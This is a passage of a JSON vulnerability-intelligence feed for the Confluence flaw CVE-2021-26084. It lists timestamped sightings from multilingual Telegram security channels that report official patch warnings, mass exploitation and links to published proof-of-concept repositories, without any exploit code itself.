\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0431\u0430\u0433\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u044f\u0437\u044b\u043a\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 OGNL (Object-Graph Navigation Language) \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 Java, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u041f\u041e Confluence \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 OGNL,!\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Confluence \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0440\u0435\u0437\u0432\u044b\u0447\u0430\u0439\u043d\u043e \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u043d\u044b\u043c  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u043c \u0432 \u0440\u044f\u0434\u0435 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u0439 \u043c\u0438\u0440\u0430, \u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-26084 \u0447\u0440\u0435\u0437\u0432\u044b\u0447\u0430\u0439\u043d\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430 \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 (\u043e\u0446\u0435\u043d\u043a\u0430 9,8\u00a0\u0438\u0437 10), \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0434\u043d\u0438 \u0432\u044b\u0440\u0430\u0441\u0442\u0435\u0442 \u043a\u0430\u043a \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a, \u0442\u0430\u043a \u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f.", "url": "https://t.me/true_secator/2066"}, {"timestamp": "2021-09-02T21:39:02Z", "date_only": false, "value": "2021-09-02T21:39:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/SpadSec/33", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "752d42b0-1724-47c5-8f77-63c00ca2de6a", "content": "CVE-2021-26084 Remote Code Execution on Confluence Servers\n\n#PoC\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n\n\ud83c\uddee\ud83c\uddf7 @SpadSec", "url": "https://t.me/SpadSec/33"}, {"timestamp": "2021-09-03T05:19:00Z", "date_only": false, "value": "2021-09-03T05:19:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/500", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6e763a14-2232-46e8-a286-8508e98f1aa1", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084\nURL\uff1ahttps://github.com/p0nymc1/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/500"}, {"timestamp": "2021-09-03T07:45:35Z", "date_only": false, "value": "2021-09-03T07:45:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/501", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ee23ea7c-44f3-4e3d-a9e7-33039f569830", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 Confluence OGNL injection\nURL\uff1ahttps://github.com/Loneyers/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/501"}, {"timestamp": "2021-09-03T13:50:09Z", "date_only": false, "value": "2021-09-03T13:50:09.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cKure/6919", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "87f9c848-50e0-4a67-88c9-679966a7dd32", "content": "\u25a0\u25a1\u25a1\u25a1\u25a1 \ud83d\udce2 As per United States CyberCom statement: Mass exploitation of Atlassian Confluence CVE-2021-26084 is ongoing and expected to accelerate. Please patch immediately if you haven\u2019t already\u2014 this cannot wait until after the weekend.\n\nhttps://twitter.com/CNMF_CyberAlert/status/1433787671785185283", "url": "https://t.me/cKure/6919"}, {"timestamp": "2021-09-03T19:54:28Z", "date_only": false, "value": "2021-09-03T19:54:28.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/information_security_channel/45155", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6d1a14ae-8922-437f-85a5-88cc4ca5d15b", "content": "USCYBERCOM Warns of Mass Exploitation of Atlassian Vulnerability Ahead of Holiday Weekend\nhttp://feedproxy.google.com/~r/securityweek/~3/FO8JMpwIXLU/uscybercom-warns-mass-exploitation-atlassian-vulnerability-ahead-holiday-weekend\n\nUSCYBERCOM and the Cybersecurity and Infrastructure Security Agency (CISA) are sounding the alarm just before the Labor Day weekend in the U.S., urging organizations to patch a critical vulnerability (CVE-2021-26084) affecting Atlassian Confluence Server and Data Center.\u00a0\nread more (https://www.securityweek.com/uscybercom-warns-mass-exploitation-atlassian-vulnerability-ahead-holiday-weekend)", "url": "https://t.me/information_security_channel/45155"}, {"timestamp": "2021-09-03T23:56:52Z", "date_only": false, "value": "2021-09-03T23:56:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/39412", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8b8cadb2-0f74-49c0-b4ea-591370d613bb", "content": "USCYBERCOM and CISA warn organizations to fix CVE-2021-26084 Confluence flaw\n\nhttps://ift.tt/3zMATX7", "url": "https://t.me/ctinow/39412"}, {"timestamp": "2021-09-04T04:05:37Z", "date_only": false, "value": "2021-09-04T04:05:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/PGdsPy3IXKIBhXK8c-_rBta0v-kfEnUBgjaaHUQITnfqE9o", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "07729384-0385-4600-8cb0-4581f9195cef"}, {"timestamp": "2021-09-04T04:14:46Z", "date_only": false, "value": "2021-09-04T04:14:46.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/breachdetector/3237", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3135620c-f8ed-4bf1-9630-96d03cfc027f", "content": "\u26a0 Detectada filtraci\u00f3n \u26a0\n{\n  \"site\": \"RaidForums\",\n  \"Threat Actor\": \"bot268296\",\n  \"Content\": \"CVE-2021-26084 vulnerable 161\u201d,\n  \"Detection Date\": \u201c04 Sep 2021 04:03\u201d,\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 Data Leak monitoring system\ud83d\udd39", "url": "https://t.me/breachdetector/3237"}, {"timestamp": "2021-09-04T09:25:32Z", "date_only": false, "value": "2021-09-04T09:25:32.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/1489", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "180b12d6-0608-4645-92dd-e6b4c478f5ca", "content": "U.S. Cyber Command warns of ongoing attacks exploiting a recently disclosed vulnerability (CVE-2021-26084) in #Atlassian Confluence that could be exploited by unauthenticated attackers to take control of vulnerable systems.\n\nDetails: https://thehackernews.com/2021/09/us-cyber-command-warns-of-ongoing.html", "url": "https://t.me/thehackernews/1489"}, {"timestamp": "2021-09-04T14:01:33Z", "date_only": false, "value": "2021-09-04T14:01:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/511", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "387cb5ec-cb92-4d4a-bf85-1b617fae05c0", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aConfluence OGNL Injection [CVE-2021-26084].\nURL\uff1ahttps://github.com/march0s1as/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/511"}, {"timestamp": "2021-09-04T14:56:55Z", "date_only": false, "value": "2021-09-04T14:56:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/513", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fb97ba1b-3914-421c-9413-be26be2a7572", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aSetting up POC for  CVE-2021-26084\nURL\uff1ahttps://github.com/wolf1892/confluence-rce-poc", "url": "https://t.me/GithubRedTeam/513"}, {"timestamp": "2021-09-06T00:00:00Z", "date_only": false, "value": "2021-09-06T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2021-ALE-018", "record": "CERTFR-2021-ALE-018", "field": "revisions.0.revision_date"}, {"timestamp": "2021-09-06T00:00:00Z", "date_only": false, "value": "2021-09-06T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2021-AVI-677", "record": "CERTFR-2021-AVI-677", "field": "revisions.0.revision_date"}, {"timestamp": "2021-09-07T05:46:07Z", "date_only": false, "value": "2021-09-07T05:46:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/breachdetector/3582", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "aa503ec2-e4c2-433c-9a62-90e20669fc5e", "content": "\u26a0 Detectada filtraci\u00f3n \u26a0\n{\n  \"site\": \"RaidForums\",\n  \"Threat Actor\": \"Nan0CoR3r\",\n  \"Content\": \"Atlassian_confluence (CVE-2021-26084) List\u201d,\n  \"Detection Date\": \u201c07 Sep 2021 04:11\u201d,\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 Data Leak monitoring system\ud83d\udd39", "url": "https://t.me/breachdetector/3582"}, {"timestamp": "2021-09-07T13:23:55Z", "date_only": false, "value": "2021-09-07T13:23:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/6974", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2d3a46be-397c-46c5-b492-895514a69148", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 [Atlassian Confluence CVE-2021\u201326084]::: The other side of bug report!\n\nhttps://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6", "url": "https://t.me/cKure/6974"}, {"timestamp": "2021-09-07T18:17:44Z", "date_only": false, "value": "2021-09-07T18:17:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/6980", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a4d16be7-5b7d-4256-9fc0-f7977bb7d603", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2021-26084 Remote Code Execution on Confluence Servers.\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/cKure/6980"}, {"timestamp": "2021-09-07T20:33:54Z", "date_only": false, "value": "2021-09-07T20:33:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Ct5z6wnNkOciQtUWqF4YnUpCk8XZkeipzg9JXQnbe0pOfMA", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "faebcabb-ab72-4734-bee8-c65052ace666"}, {"timestamp": "2021-09-08T00:59:16Z", "date_only": false, "value": "2021-09-08T00:59:16.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/breachdetector/3651", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c8debf20-0c97-4470-bedc-ee50ece5ef00", "content": "\u26a0 Detectada filtraci\u00f3n \u26a0\n{\n  \"site\": \"RaidForums\",\n  \"Threat Actor\": \"goatlead\",\n  \"Content\": \"Confluence vulnerable IP CVE-2021-26084\u201d,\n  \"Detection Date\": \u201c07 Sep 2021 19:38\u201d,\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 Data Leak monitoring system\ud83d\udd39", "url": "https://t.me/breachdetector/3651"}, {"timestamp": "2021-09-08T04:16:00Z", "date_only": false, "value": "2021-09-08T04:16:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberbannews_ir/3880", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3eea2487-e1d2-4e54-b7e3-ce0b3bbffd8e", "content": "\u200d \ud83d\uded1\u067e\u0633\u0627 \u06a9\u0627\u0646\u0641\u0644\u0648\u0626\u0646\u0633\u061b \u0631\u062e\u0646\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0647 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 Jenkins\n\n \u062a\u0648\u0633\u0639\u0647 \u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0645\u062d\u0628\u0648\u0628 Jenkins ( \u062c\u0646\u06a9\u06cc\u0646\u0632 ) \u0627\u0632 \u06cc\u06a9 \u0631\u062e\u0646\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0647 \u0627\u06cc\u0646 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0645\u062a\u0646 \u0628\u0627\u0632 \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0633\u0631\u0648\u0631 \u062e\u0628\u0631 \u062f\u0627\u062f. \u0627\u06cc\u0646 \u0627\u062a\u0641\u0627\u0642 \u067e\u0633 \u0627\u0632 \u0622\u0646 \u0627\u0641\u062a\u0627\u062f \u06a9\u0647 \u06cc\u06a9 \u0628\u0627\u0632\u06cc\u06af\u0631 \u0645\u062e\u0631\u0628 \u0646\u0627\u0634\u0646\u0627\u0633 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u062e\u06cc\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0622\u062a\u0644\u0627\u0633\u06cc\u0627\u0646 \u06a9\u0627\u0646\u0641\u0644\u0648\u0626\u0646\u0633 \u062a\u0648\u0627\u0646\u0633\u062a \u0628\u0647 \u06cc\u06a9\u06cc  \u0627\u0632 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0628\u0627 \u0647\u062f\u0641 \u0646\u0635\u0628 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0646\u0646\u062f\u0647 \u0627\u0631\u0632 \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644 \u0635\u0648\u0631\u062a \u067e\u0630\u06cc\u0631\u0641\u062a\u0647 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0645\u0648\u0641\u0642 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0631\u0648\u06cc\u0633 \u06a9\u0627\u0646\u0641\u0644\u0648\u0626\u0646\u0633 \u062c\u0646\u06a9\u06cc\u0646\u0632 \u067e\u06cc\u0627\u062f\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0632 \u0627\u06a9\u062a\u0628\u0631 2019 \u0628\u0647 \u062d\u0627\u0644\u062a \u0622\u0641\u0644\u0627\u06cc\u0646 \u062f\u0631\u0622\u0645\u062f\u060c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u062e\u0635\u0648\u0635\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u06cc\u0627\u0641\u062a \u0648 \u067e\u0633\u0648\u0631\u062f\u0647\u0627\u06cc \u062d\u0633\u0627\u0628 \u062a\u0648\u0633\u0639\u0647 \u062f\u0647\u0646\u06af\u0627\u0646 \u0645\u062c\u062f\u062f \u062a\u0646\u0638\u06cc\u0645 \u0634\u062f. \n\n \u0627\u06cc\u0646 \u0631\u062e\u0646\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u0631 \u062d\u0627\u0644\u06cc \u0627\u0641\u0634\u0627 \u0634\u062f \u06a9\u0647 \u0641\u0631\u0645\u0627\u0646\u062f\u0647\u06cc \u0633\u0627\u06cc\u0628\u0631\u06cc \u0622\u0645\u0631\u06cc\u06a9\u0627 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u0645\u062a\u0639\u062f\u062f \u0645\u0647\u0627\u062c\u0645\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u0635\u0644\u0627\u062d \u0634\u062f\u0647 \u06a9\u0627\u0646\u0641\u0644\u0648\u0626\u0646\u0633 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0647 \u0628\u0648\u062f.\n\n\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0646\u0627\u0645 \u0628\u0631\u062f\u0647 (  CVE-2021-26084 ) \u0628\u0627 \u0646\u0645\u0631\u0647 \u0634\u062f\u062a 9.8 \u0627\u0632 10 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u062f\u0631 \u062c\u0647\u062a \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0631\u0648\u0631 \u06a9\u0627\u0646\u0641\u0644\u0648\u0626\u0646\u0633 \u06cc\u0627 \u067e\u0627\u06cc\u06af\u0627\u0647 \u0647\u0627\u06cc \u062f\u0627\u062f\u0647 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f. \n\n\u0637\u0628\u0642 \u06af\u0641\u062a\u0647 \u0634\u0631\u06a9\u062a \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc Censys\u060c \u06cc\u06a9 \u0645\u0648\u062a\u0648\u0631 \u062c\u0633\u062a\u062c\u0648 \u0628\u0631\u0627\u06cc \u06cc\u0627\u0641\u062a\u0646 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0648 \u062d\u062f\u0648\u062f 14 \u0647\u0632\u0627\u0631 \u0648 637 \u0633\u0631\u0648\u0631 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u06a9\u0627\u0646\u0641\u0644\u0648\u0626\u0646\u0633 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0646\u062f. \u0627\u06cc\u0646 \u06af\u0632\u0627\u0631\u0634 \u067e\u06cc\u0634 \u0627\u0632 \u0627\u0639\u0644\u0627\u0645 \u0639\u0645\u0648\u0645\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0628\u0648\u062f. \u0628\u0627 \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u0635\u0648\u0631\u062a \u06af\u0631\u0641\u062a\u0647 \u0627\u0632 \u0633\u0648\u06cc \u0634\u0631\u06a9\u062a \u0647\u0627\u060c \u0627\u06cc\u0646 \u062a\u0639\u062f\u0627\u062f \u062d\u0627\u0644\u0627 \u0628\u0647 8 \u0647\u0632\u0627\u0631 \u0648 597 \u0633\u0631\u0648\u0631 \u0631\u0633\u06cc\u062f\u0647 \u0627\u0633\u062a. \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u0628\u0631\u0627\u06cc \u0627\u0646\u062a\u0634\u0627\u0631 \u0646\u0633\u062e\u0647 \u0627\u0635\u0644\u0627\u062d\u06cc\u0647 \u06a9\u0627\u0645\u0644 \u062f\u0631 \u062c\u0631\u06cc\u0627\u0646 \u0627\u0633\u062a. \n\n#\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc \n\n@cyberbannews_ir", "url": "https://t.me/cyberbannews_ir/3880"}, {"timestamp": "2021-09-09T10:25:31Z", "date_only": false, "value": "2021-09-09T10:25:31.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/DC8044_Info/1751", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e86e260d-a57e-473d-b539-22b4dd154d26", "content": "\u041a\u0442\u043e-\u0442\u043e \u0432\u0441\u0435 \u0435\u0449\u0435 \u043f\u043e\u043c\u043d\u0438\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043a\u0430\u043a \u0447\u0443\u0432\u0430\u043a \u0438\u0437 Hulu \u0441\u043b\u0438\u043b \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 Akamai XSS \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0442\u043e\u043f\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043b\u0438\u043b, \u0430 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0432\u044b\u0434\u0430\u0442\u044c \u044d\u0442\u043e \u0437\u0430 \u0441\u0432\u043e\u0439 \u0440\u0438\u0441\u0451\u0440\u0447 \ud83e\udd26\u200d\u2642\ufe0f. \n\u0414\u0430\u043a \u0432\u043e\u0442 \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430. \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f Confluence \u043f\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438 \u0431\u0430\u0433\u0443 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c RCE \u0447\u0435\u0440\u0435\u0437 SSTI (CVE-2021-26084). \u041c\u043d\u043e\u0433\u043e \u0447\u0443\u0432\u0430\u043a\u043e\u0432 \u043d\u0430\u0431\u0440\u043e\u0441\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u044d\u0442\u0443 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0447\u0442\u043e\u0431 \u0440\u0430\u0437\u0434\u043e\u0431\u044b\u0442\u044c \u043a\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443. \u0418 \u0432\u043e\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u0430\u043c \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c. \u041d\u0443 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u043e\u043d\u0438 \u043f\u043e\u0431\u0435\u0436\u0430\u043b\u0438 \u0441\u043b\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0440\u0430\u0437\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 \u0441\u0435\u043a\u044c\u044e\u0440\u0438\u0442\u0438 \u0431\u0430\u0433\u0438, \u0438 \u0438\u043d\u043e\u0433\u0434\u0430 \u0434\u0430\u0436\u0435 \u043f\u043b\u0430\u0442\u044f\u0442 \u0437\u0430 \u043d\u0438\u0445. \u0414\u043e\u0433\u0430\u0434\u0430\u0439\u0442\u0435\u0441\u044c \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \ud83d\ude48 \n\u041f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0442\u0449\u0435\u0441\u043b\u0430\u0432\u043d\u044b\u0439 \u0438\u043d\u0434\u0443\u0441 \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u0434 \u0432 \u043e\u043f\u0435\u043d\u0441\u043e\u0440\u0441\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440. \u041f\u0440\u0438\u0447\u0435\u043c \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0441 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0441\u0435\u0441\u0441\u0438\u0439 \u0440\u0438\u0441\u0451\u0440\u0447\u0435\u0440\u043e\u0432. \u041a\u043e\u0433\u0434\u0430 \u044f \u0447\u0438\u0442\u0430\u044e \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435, \u0442\u043e \u0443 \u043c\u0435\u043d\u044f \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435 \u0447\u043e \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043c\u0435\u0441\u0442\u043e \u043c\u043e\u0437\u0433\u043e\u0432 - \u0445\u043b\u0435\u0431\u0443\u0448\u0435\u043a. \n\u041f\u043e\u043b\u044e\u0431\u0443\u0439\u0442\u0435\u0441\u044c - https://twitter.com/redragonvn/status/1435209440035172363\n\u041d\u0443, \u0430 \u0434\u0430\u043b\u044c\u0448\u0435 \u0438\u0434\u0443\u0442 \u043a\u0440\u0438\u0432\u044b\u0435 \u043e\u0442\u043c\u0430\u0437\u043a\u0438: \"\u041e\u0439, \u043c\u0430\u043c, \u044f \u044d\u0442\u043e \u043d\u0435 \u0443\u043a\u0440\u0430\u043b, \u044f \u044d\u0442\u043e \u043d\u0430 \u0443\u043b\u0438\u0446\u0435 \u043d\u0430\u0448\u0435\u043b\" (https://twitter.com/DhiyaneshDK/status/1435246279802515457)\n\u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f. \u0420\u0438\u0441\u0451\u0440\u0447\u0435\u0440\u044b \u0437\u0430\u0441\u043b\u0430\u043b\u0438 \u043a\u043e\u0434 \u0432 Vmware. 